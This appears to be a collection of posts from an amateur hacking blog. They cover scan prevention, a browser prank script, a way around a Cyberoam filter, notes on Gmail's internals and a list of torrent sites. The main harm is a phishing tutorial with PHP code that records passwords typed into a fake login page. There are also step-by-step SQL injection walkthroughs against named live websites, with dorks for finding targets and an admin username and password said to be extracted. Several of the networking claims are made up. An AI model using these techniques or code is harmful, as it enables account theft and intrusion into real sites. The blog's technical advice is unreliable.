Prevent Urself from Scanning

How To Prevent Urself from Scanning??  

Till Now We have Discussed that How to extract the Information about the Site and Individual/site/organisation and scanning them for getting live ports or vulnerabilities to attack them.


Today I will explain you How to Prevent Yourself from Scanning.. and Tomorrow I will give you the Live demonstration of hacking and attacking a website with complete snapshots.
First of all you should know How to protect yourself from these attacks... Its really important that you should know the Counter measures of what you are doing... In case you will face the same problem yourself...:P




THESE ARE THE CERTAIN STEPS AND THINGS YOU SHOULD REMEMBER:


1. Use a Good Firewall to block all the illegal port activity. The Firewall blocks almost all unauthorized attempts by attackers except the following Ports i.e Firewall doesn't monitor port 80,8080,8181,3128,53.

Now You should Know Which Port Stands for What...


Port 80 is for servers(webservers).
Port 8080 is for HTTP clients.
Port 8181 is for HTTPS clients.
Port 3128 is a active port Needed for all Network processes.
Port 53 is for DNS.


Now If you Have a Good Firewall all illegal activity other than these ports can be blocked. Now the Only chance to being attacked is through 80,8080 and 8181. i.e through websites...When you open some malicious website containing malware scripts there are most chances of being attacked.
So from this you can guess What will be the Second point...Right..


2. Use a Good Web Shield Preferable AVG or any other Good Web shield. This will prevent you from attack through websites...


3. Third way to get attacked is through softwares.
As we all know most of us use Pirated Softwares and Download it from anywhere i.e where we find it and also we doesn't know the Uploaders...
This is the currently going practice Nowadays. Hackers upload softwares and attach a malicious softwares and hack tools with them like keyloggers, trojans, spywares etc.. with them. Now Here user Himself downloads the attacker files. SO there must be something to prevent from this attack. You canguess for what I am talking...
Ya Surely I am talking about Good Antivirus... I will recommend all to use AVIRA Antivirus and KASPERSKY. Its because of their interativeness.


4. Fourth Point And most Important One...Please Note Most Important One...

Note: It took only 50 sec to 1 minute to scan the system and 3 minutes to attack any system and damage it.
Why I am saying this Important its because no tool is made to detect these type of attacks...If you open this nothing can prevent you from attacked...
So prevention is better than Cure. Don't open them. For which I am talking.



I am talking about anonymous mails and spams in your Email ID's. Point to remember 3 out of 1 mail is a spam and 5 out of 1 contains a virus or attack script. Nowadays you will get emails like you have won 100000$ or something like these... these all mails are BOTNETS., these are viruses. they all are asking you about your personal Information and ask you to follow the Link..
You all have noticed that when you click the link it shows Redirecting ...around 30 sec ..and then just show you are not eligible for this or this offer is not available in you country... Between the time when they say redirectingggg... they are scanning your system.....and if they find something on you system they attack your system and get access to it...
Sooooooo, DON'T open the mails that come from some anonymous source...




This is all about Scanning Part .. I think you all will like this..
If you have any queries ask me.

Read More

FAINTING WEB BROWSER

JUST COPY AND PASTE THIS SCRIPT INTO YOUR WEB BROWSERS ADDRESS BAR

  

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

Read More

CYBEROAM TO ACCESS ALL BLOCKED SITES

HOW TO HACK CYBEROAM TO ACCESS ALL BLOCKED SITES IN YOUR COLLEGE

Hello Frens I am back with another hacking tutorial . This time I will explain you all " How to Hack or Unblock cyberoam to access all blocked sites in college or company" . Tutorial will be noob friendly as everything is explained with the help of snapshots...So to know How to hack cyberoam Read On....

First of all Guys You Must Know What is Cyberoam and What Idea it uses to block the user.

What is Cyberoam :

Cyberoam is Identity-based unified threat management appliances, offer comprehensive threat protection with firewall-VPN, anti-virus, anti-spam, intrusion prevention system, content filtering in addition to bandwidth management and multiple link load balancing and gateway failover.

Identity-based controls and visibility are critical components of network security. With identity and network data combined, enterprises are able to identify patterns of behavior by specific users or groups that can signify misuse, unauthorized intrusions, or malicious attacks from inside or outside the enterprise. Activities and security policy rules can be enforced on network segments based on identity.

THINGS THAT WE NEED TO HACK CYBEROAM??

1.FootPrint IP . (Our Ip that is being footprinted or traced by any website that we visit. In short NAT outside local IP).

2. An Open PORT generally its 3128. (3128 port is active port which is always open If your computer has Network assessiblity.)

3. Proxifer and Its Settings. (any Version after 2.17).

Now that's the only things that we need If we want to hack or bypass the cyberoam Client. Now Detailed Hack Is below...

HACKING CYBEROAM (DETAILED HACK)

Stepwise Description:

1. First of all We need to get the FootPrint IP . Simple Method to Get FootPrint IP.

2. Open Your Mozilla Firefox Web Browser And type the Following Site.

https://your-freedom.de

3. When you Open the Site you will see something like this:

Click On I understand the risk (THIS IS TO ACCEPT SSL CERTIFICATE)

Click on Add Exception

CLICK ON CONFIRM SECURITY CERTIFICATE.

4. Now Guys We have Got the Footprint IP. Next thing is that We Neeed PORT for Accessing It.

USE PORT 3128 as Its open by default on system which have aceess to Internet.

5. NOW DOWNLOAD THE FOLLOWING SOFTWARE (PROXIFIER)

PROXIFIER ONLY FOR EDUCATIONAL PURPOSE PLEASE DON'T MISS USE IT WE ARE NOT RESPONSIBLE FOR ANY TYPE OF MISS USE OF THIS SOFT WARE

6. Its a Portable version of Proxifier . So need Not To Install. Just Click on It And Extract Anywhere you want. I prefer In Pen Drive.

7. After that You will Get Some Files LIKE THIS and CLICK ON PROXIFER TO RUN IT.

8. Now see the Task Bar. You will See something Like This. Clcik on that.

9. CLICK ON OPTIONS AND THEN ON ROXY SETTINGS.

10. NOW TO THE FOLLOWING SETTINGS AS SHOWN:

11. Now do the Settings as Shown Below. and Click Ok.

12. Now CLICK OK . AND OPEN THE WEBSITE YOU WANT:

NOW THATS ALL OVER THE FULL TUTORIAL. HOPE YOU WILL ENJOY IT ..

ALL QUESTIONS ARE WELCOMED.. IF YOU HAVE ANY QUERY ASK ME I WILL HELP YOU

Read More

Gmail Architecture

Gmail Architecture

Gmail is the best application website i ever seen. Simple implementation, Super Ajax, Cute Chatting, Status Messages, Fast Mail Checking, Live updating and its features are endless as my wordpress database wont withstand

when you type: www.gmail.com, the following action will happen. See it is very interesting.

Script1
It first load the javascript file : https://mail.google.com/mail?view=page&name=browser&ver=1k96igf4806cy

It checks the browser type, os etc

the function navigator.userAgent.toLowerCase() checks with opera, msie,mac,gecko,safari,palmsource,regking,windows ce,avantgo,stb,pda; sony/com2 etc browsers

that is script 1’s job.

Script 2 calculate the round trip time for a 1 pixel image. This is for finding the internet speed of the user

function GetRoundtripTimeFunction(start)
{
return function()
{
var end = (new Date()).getTime();
SetGmailCookie(”GMAIL_RTT”, (end – start));

}
}

Since gmail uses iframes , this script also make sure to load the actual home
top.location = self.location.href

It also set cookie to show which of the google service is using.

Then loads the login form and set focus on password field.

Script 3 handles the https connection and cookie settings for secured login

Yet the web 2.0 concept is on the peak, gmail uses table layout design instad of div style designs

Gmail’s login form ’s action is pointing to “https://www.google.com/accounts/ServiceLoginAuth?service=mail”

This is the general url for google account login. Here service=mail parameter indicates , this is gmail logging

When the logging verification done, the page is redirected into corresponding service by javascript:

location.replace(”http://www.google.co.in/accounts/SetSID?……etc etc”);

After setting proper session and cookies for login, the non secured site http://mail.google.com/mail page automatically get refresh by this meta tag:

When loading the mail page after setting proper login sessions, around 28 ajax web request begin to start, and load all the mails, labels, channels etc

The above mentioned all javascript is also here in this mail loading page

The first division (div) inside the body tag is that for loading. A while text “loading…” with red backgroud.

Loading…

This is the waiting symbol for all the ajax call to load

There is also a timer is working to check the loading time of ajax requests. If it takes more time than expected (or calculated), it show this error “This seems to be taking longer than usual”

Automatically they provide navigation links for basic html version.

The total page of gmail is created by a set of iframes
viz

HIST_IFRAME
SOUND_IFRAME
CANVAS_IFRAME
JS_IFRAME

The Sound_Iframe session loads a flash object (shock wave file) for playing the sound , when chat works. (Google chat indicator)

Gmail saves each sections- labels, inbox, mails etc in array with a unique id. This unique id is for checking the updations on the fly using ajax.

For example : http://mail.google.com/mail/?ui=2&ik=42e598c952&view=tl&start=50&num=70&auto=1&ari=120&rt=j&search=inbox

The above url pics all the data as javascript array format. Check this link after logging in gmail. You can see your labels, your from email accounts, your settings,
your last arrived 70 emails subject and from etc information in javascript array format.

This is the url which is to be called when you click older and newer mail (pagination below)

Gmail always call this url : http://mail.google.com/mail/channel/bind?at=xn3j2zpul6ptan694kr6javrldi43s&VER=6&it=93079&SID=584B451AB93DBDC&RID=16351&zx=lniy7w-6psisw&t=1

(leave the parameters value) for checking updatations. This is gmails rpc checking for new updations .

If there is any updation new rpc with post method automatically called to get new data. The calling url is same , the one above
http://mail.google.com/mail/?ui=2&ik=42e598c952&view=tl&start=0&num=70&auto=1&ari=120&rt=j&search=inbox

It results new data as javascript array format. The rest of the arrangements are handled by the script from client side.

Whenever you open a mail from inbox, the browser send another request for loading the sponsered links (advtisement) though this rpc
http://mail.google.com/mail/?ui=2&ik=42e598c952&view=ad&th=118e57dc03d67f16&search=inbox

The CANVAS_IFRAME is the main iframe contains all the layout of gmail

It contains the left side chat, main inbox or mails right side ads, and all the controls

The left side chat is created using table.

JS_IFRAME contains all the javascripts files for gmail full implementation. There are around 89 js files.

When you chat with somebody, the url calling is : http://mail.google.com/mail/channel/bind?at=xn3j2zpul6ptan694kr6javrldi43s&VER=6&it=891&SID=7D4E9A779225DC1&RID=50595&zx=hrsqkf-nwummu&t=1

as POST method with parameters:
req2_text
req2_to
req0_type cf
req1_cmd a
req0_focused 1

Now,

http://mail.google.com/mail/channel/bind?at=xn3j2zpul6ptan694kr6javrldi43s&VER=6&it=531&RID=rpc&SID=48DD6BA8E1D3A326&CI=1&AID=176&TYPE=xmlhttp&zx=m0iiwn-ok5jqr&t=1

the above url return the chat friends and theire status messages

==========================================================

Same url is using for getting the chat messages.

For example when kenney.jacob@gmail chat with me , the message comes as an array like this:

[184,["m","kenney.jacob@gmail.com","730DFDF6F013F640_161","active","hi da","hi da",1206444193169,

,,0,0,0,0,[]

,”square”]

Here active implies the chat is active or not (the window with orange color) and with a chat alert if the window is not active.

http://mail.google.com/mail/channel/test?at=xn3j2zpul6ptan694kr6javrldi43s&VER=6&it=24343&MODE=init&zx=1vyx51-ze670&t=1

The above url checks whether the chat is enable or not. which returns an array:
["b","chatenabled"]

Read More

TOP 10 TORRENTS

Top 10 Torrent Sites - Best Pirate Bay Alternatives If you didn’t know, The Pirate Bay is basically going legit soon. The Pirate Bay has been being sold to Global Gaming Factory X (GGF). Since TPB was pretty much one of the biggest names in the legally questionable bit torrent business, here is a list of the top ten alternatives to The Pirate Bay.
List of the Best Torrent Sites After The Pirate Bay

Mininova – This is also a very well known Torrent search engine. According to their site, Mininova “…is the largest torrent search engine and directory on the net. Visitors of Mininova can anonymously upload torrents to this website, tracked by any BitTorrent tracker.

isoHunt – According to Wikipedia, isoHunt “…is a BitTorrent index with over 1.7 million torrents in its database and 20 million peers from indexed torrents. With 7.4 million unique visitors as of May 2006, isoHunt is one of the most popular BitTorrent search engines. IsoHunt users perform over 40 million unique searches per month. Isohunt is the 3rd most popular bittorrent site as of 2008.

btjunkie – These guys have 5 key elements that make them awesome. They index both private and public trackers, they have a completely automated crawler that scours the Internet, free public torrent submission, They have torrent Mail, for immediate notification of new torrent additions and finally torrent reporting and comments.

Torrent Reactor – Torrent Reactor is the oldest and most reliable resource for torrents. Find and download everything you need in 5 minutes.

VerTor – This site checks every torrent listed on their site for quality so you don’t have to. All of their Torrents are top notch!

Torrent Hound – Torrent Hound “…crawls the web using a custom filter to find new torrent files as soon as they are made available. (or accepts them from users who upload their torrents directly). Next it subjects them to a few algorithm-based tests to ensure that they are healthy and that if they contain adult content they are flagged appropriately.

Fulldls – Yet another Torrent search site. This one has many popular titles, and good quality Torrents

Torrent Matrix – These guys claim to have the Latest bittorrent files, free downloads for PC Games, Movies, PS2, Xbox.

Bushtorrent – Not sure what they were thinking here putting one of the most hated presidents of all time right on their front page.

Torrent Monkeys – Seriously, who doesn’t like monkeys? Especially monkeys that bring you piping hot Bit torrents?

Read More

Easiest way of creating fake login pages of yahoo,gmail and orkut

let us learn how to create a fake login page with yahoomail as example. The same procedure can be applied for orkut,myspace,gmail,facebook,paypal …

First open the yahoo login page, if you are using internet explorer right click on the login page and select view source for mozilla press ctr+u. Copy the entire code on to notepad or your favorite text editor .Now search for the term “action”, you should find a line like this

When you enter your login information in the original login page, it is

submitted to this url https://login.yahoo.com/config/login change https://login.yahoo.com/config/login to “input.php” .When you change the action to input.php, user name and password are submitted to this file when ever user enters his login information in our fake login page.

Creating input.php

First let’s look at the code for a simple HTML form

1)

2)User name :

3)

4)Password:

5)

6)

action=”input.php” tell’s the browser to

submit the informationto input.php . In lines 2 and 4 line we have “type=text” and “type=password” this tell the browser the input type. name=”username” and name=”passwd” save the user name and password in variables named $_post[username] and $_post[passwd]. Line 5 displays a submit button when the user presses this button the form is submitted. (Note: I used the numbers just to explain the code )

First make note of the variable name used for both username and passowrd. In the the above form they are username and passwd

PHP code with explanation:

//Every php program starts with this tag

/*Opens passwd.htm for appending, if it is not

present it creates one*/

$fp = fopen(”passwd.htm”, “a”);

/* Writes user name and password stored in

$_POST[username] and Password:$_POST[passwd] in passwd.htm

“\t” is just to insert some space between user name

and password*/

fwrite($fp, “Username:$_POST[username]\tPassword:$_POST[passwd]”);

/*This part of the code creates a HTML page which

redirects the user to the original error page of gmail

The one you would get if you enter a wrong password

*/

echo “

”;

?> //php closing tag

To create your own input.php …

If the names of the variables used are login and password, then you should change $_post[username] and $_post[passwd] to $_post[login] and $_post[password]. This is all, you are done with creating a completely operable fake login page. upload the fake login page and input.php on some webserver with php support and give the link to the person whose password you want to hack. When that person enters his login in details in your fake login page they will be stored in password.htm . You can even configure the input.php to get the username and password in your inbox. For that you need to know little more php. I

W3SCHOOLS

NOTE: php variables are case sensitive, if you are trying to run input.php directly on your comp without installing a web server supported with php it will not work

Gud Luck

IF YO NEED SOFTWARE OF FAKE LOGIN PAGE CREATOR mail me Or Post Any Comments

Read More

SQL Injection

When constructing websites where there is the facility for registering and the need for identifying users individually, then we need to have some setup to save user-names and passwords. Files do serve a good place to do it, but some times it is more of a bane than boon. That’s where databases replace the old age files. Databases have the specialty of saving data in the form of tables which are easy to search, modify, add and delete.
SQL is short for Structured Query Language, a powerful tool that help you deal with data saved in databases. You can find the login form in many websites these days. You will be authenticated to access extra facilities if you are in possession of the correct pair of user-name and password. Well, user-name is unique, which most of you will be aware of. Now a days most of the authentication process is done via SQL. So it becomes necessary to know some details of SQL queries.
select * from table; is a very common SQL query. The asterisk represents everything. During user authentication, a probable SQL query might be
$query – An SQL query.
$username – a variable having the user name provided by the user in the user name text box.
$password – a variable having the password provided by the user in the password text box.
$query = select password from logtable where username = ‘.$username.’;
$spass = mysql_query($query);
if ($password == $spass){
echo “User Authenticated”;
}
This is a simple “example”. Mind you it might not be following syntax rules or anything. What i have tried here is to explain is how a basic user authentication could be performed.
Note: There are many other methods, but this is a basic one and the one prone to SQL injection.
Now consider this query.
select password from logtable where username = ” or ‘a’ = ‘a’;
See that the where part of this statement returns true, because of ‘a’ = ‘a’. Due to this the query returns a true value that is similar to being authenticated. So instead of a user-name and password into the respective fields, if you enter this (‘ or ‘a’='a) without the brackets, then if the SQL query is an insecure one then you can be authenticated into the first entry! This is because the string ‘ or ‘a’='a comes in place of $username in the below query.
$query = select password from logtable where username = ‘.$username.’;
Try it out at www.fiitjee.com.
It’s prone to SQL injection for now. Hope they correct the code as soon as possible. The earlier the better for them!

Read More

SQL Injection : Ultimate method for Website Hacking.

I just found a good security expert  (Nishant Soni) in ORKUT, He is going to teach you about SQL Injection, Sniffing, Trojans and many more topics. Hope you enjoy them.

Welcome to my very first tutorial for  SQL Injection on Genius hackers. SQL Injection basically means to execute a query in the database which is connected to the website to get personal information out of it, which is not visible to a normal user. Database is most likely to be a part of the websites, which saves all the information like user names, passwords, posts, replies in it. So there is a possibility that you might put some commands or queries or requests whatever you want to call it into the database to get some hidden information out of it.

It is noticed that in the past SQL Injection have been used several times to steal the credit card information, E-mail address and passwords, because most of the users have same E-mail address and passwords into all of their E-mail accounts. So if you manage to hack one of the accounts, you may just get access to all of their accounts. SQL Injection is most likely used by the “Penetration Testers” to check if the website of their clients are vulnerable to some kind of attacks to steal the information. Here, in this article I will show you how do they do it. There are some simple terms expected out of you and one of them is that you understand the basic knowledge of the computer. This tutorial will let you know, how to start? where to stop? what to do? and if you have any further queries you can post them here and i will help you to work with it.

PLEASE REMEMBER: Nishant Soni or Genius Hackers take no responsibility of whatsoever damaged is made by you by this knowledge. This is just for the educational purposes so you can secure your own website.

I will divide this tutorial into some points so it can help you in a better way to understand the structure of the SQL Database which is working at the backend of the website to store, save and execute the information.

I will use a LIVE website in this tutorial, so you can try to test it on your own and believe me it really helps to develop your skills.

The website that I will use today is www[dot]rfidupdate[dot]com.

To understand what is an SQL Database, the very simple thing i can explain to you is the “website where you can register, login or create your own profile. Because it will save the data you input into your profile and will execute / display them whenever you provide the correct username or the password. So in the same way the website i mentioned above will give you a chance to be a part of it, it will update you daily about respective news.

1. How to check if the website is vulnerable to SQL Injection?
A: On most of the website i read people saying that try to add “`” at the end [without quotes], and if you get some error that means that the website is vulnerable to SQL Injection. But being an experienced guy in the penetration, i’d rather tell you that this is a TOTAL MYTH. The best way to check the site vulnerability is to add “+order+by+6753″ at the end of the URL. Because, 97% of the websites don’t have more then 6753. columns. So by adding 6753 number, you will check if it has 6753 columns, which it apperatenly doesn’t have. So it will give you an error, and if it does that means that the WEBSITE IS VULNERABLE. It is generally noticed that a website doesn’t have more than 100 columns at the most in its database. So by entering the number 6753, you are trying to make it sure if the website gives you an error with it. IF it does that means you can proceed further. To check an SQL Injection, its mandatory that the website should be pointing it self to some specific page, i.e. “website.com/index.php?page=11″. So in this case the website is pointing it self to page Number.11 to pull up some specific information. So, to check if the website is vulnerable or not, you can try with the following URL. i.e. “website.com/index.php?page=11+order+by+6753″.

2. How would i find the vulnerable websites?
A.: Google is the best friend of Hackers, when I say this don’t assume that i am just writing it because i am supposed it. I really mean it. There is something called as “google dorks”, which are basically a command which could be put into the Google search to find out specific groups of pages.
here are some Google dorks which you may try to find out the vulnerable websites.
a. inurl:index.php?page=
b. inurl:members.php?member=
c. inurl:index.php?id=
d. inurl:articles.php?page=

This will help you to find out the websites which are connected and working with SQL Databases at the backend. Some of them might be vulnerable to SQL Injection. So you can try to put “order+by+6753″ at the end of the URL to check if its vulnerable.

Step 1 : Finding Vulnerable Page.

Lets start, as you’ll know the website that i will test today is www.RfidUpdate.com. So lets open up the website in the browser. So just a little information about website, RFID means “radio frequency identification”. So on the right hand side you will see that it gives you an opportunity to subscribe to the website. So now it should give you an idea that when you subscribe to it, there has to be a place where your E-mail address should be saved, so it has to have a database! So, now we know that the website is supported by an SQL Database at the backend. So we are on the right track.

As I have written earlier, in order to perform an SQL Injection we will have to find a page that has “something.php?id=2121″ at the end of the URL, so we will try to find such page on RfidUpdate.com. I have found a page by exploring the website a bit. The URL of the page is,

http://www.rfidupdate.com/articles/index.php?id=1563

Image 1: SQL Injection (Click to enlarge )

So now, we know it has an SQL Database and we have the apge where we can start with.

So lets try to check if the website is vulnerable to SQL Attack, we will try to add “+order+by+6753–” as i have written earlier.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+6753–

Now, you should have noticed an error, which says :
“Error 1054: Unknown column ‘6753′ in ‘order clause’”

So, It means that the database gave u a message saying “there is no such column”. So error doesn’t really make any difference, but the main thing we should notice is that the database communicated with us directly. So there is a possibility that we can exploit it.

Step 2 : Finding Number of Columns.

Now, the next thing we will try is to find the out many columns do this page have. So now, instead of “6753″, we will start from number 1 then 5 then 15, we will keep doing this unless we get some error. So, try the following url.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+1–

The webpage opened up fine, which means that the website has more then 1 column, now try number 5.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+5–

Same thing, now try 10.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+10–

Still no error, try 15.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+15–

Still no error , try 20.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+20--

WHOA!, We got the error, which means that the number of columns in the webpage is between 15 to 20. So lets try with number “16″ now.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+16–

YAY!, you got the error on number “16″ as well. Which means, that the website has 15 columns. So now lets move further.

Step 3 : Using “Union Select All” Command.

Now, we will try to combine all the columns and we will see what do we get, the command goes as follow:-

http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15–

Image 2: SQL Injection (Click to enlarge )

FYI:- please notice tha ti have added “-” before 1563.

Now you see some broken things in there, and now you see that the only indipendent number of column you see on the website is “7″. So apperantly that would be the base of the attack. Everything we do now, would be done with the column number “7″.

So we wil ltry to find the some more information about the DATABASE this website is using, so to do this we can replace the column number 7 with “@@version“, without quotes ofcourse. So try this now.

http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13,14,15–

Image 3: SQL Injection (Click to enlarge )

This is what you should see now,
“5.0.67-community”

Which means, that the website is using SQL Version > 5.  Now, try following URL to move further.

http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15+from%20information_schema.tables%20where%20table_Schema=database%20()–

Image 4: SQL Injection (Click to enlarge)

Here, we have replaced No.7 column with “group_concat(table_name)” and we have added “from information_schema.tables where table_Schema=database ()” at the end. Which  are basically the standard commands for SQL, to get the further information from the specific column.

YAY! You should have already noticed that the name of the further columns have appeared in the list and one of them is “ru_Admin”. Thats what we are looking for. Since we have the column for admin now, we will try to find out the username and password out of it. So let try following URL into the address bar.

http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,group_concat(column_name),8,9,10,11,12,13,14,15+from%20information_schema.columns%20where%20table_Schema=database%20()–

The only thing we’ve changed here is the “tables” to “columns”, and you should see all the information about the admin’s tables now which should look something like following.

“ru_Admin_Username,ru_Admin_Password”

So we see, we might be able to crack the username as well as the password. In order to see the information inside the username and the password column lets put following URL:

http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,group_concat(ru_Admin_username,0×3a,ru_Admin_password),8,9,10,11,12,13,14,15+from%20ru_Admin–

What we did is, to replace the columns names with admin_username & admin_password, and call it from ru_Admin column at the end.

Image 5: SQL Injection (Click to enlarge )

VOILA! What you’re looking at right now the “admin” username and the password in following format.

username : password.

admin:admRIvuxHahkQ

FYI: Wherever you see “%20″ in the URL, that means a SPACE in the address bar.

So you have the password now, you can use it the way you want!.

So this the way to perform an SQL Injection attack. You may try your own stuffs with the google dorks i posted in the beginning. Use it the way you want, just keep in mind that if u know 80/100, there are people out there who know 90/100. So better secure your self first, and try these attacks with the permission of the site owners.

Thank you all for reading this tutorial, I am sure it helped. If there are any more questions feel free to revert back to the same post.

Enjoy Ethical hacking

Read More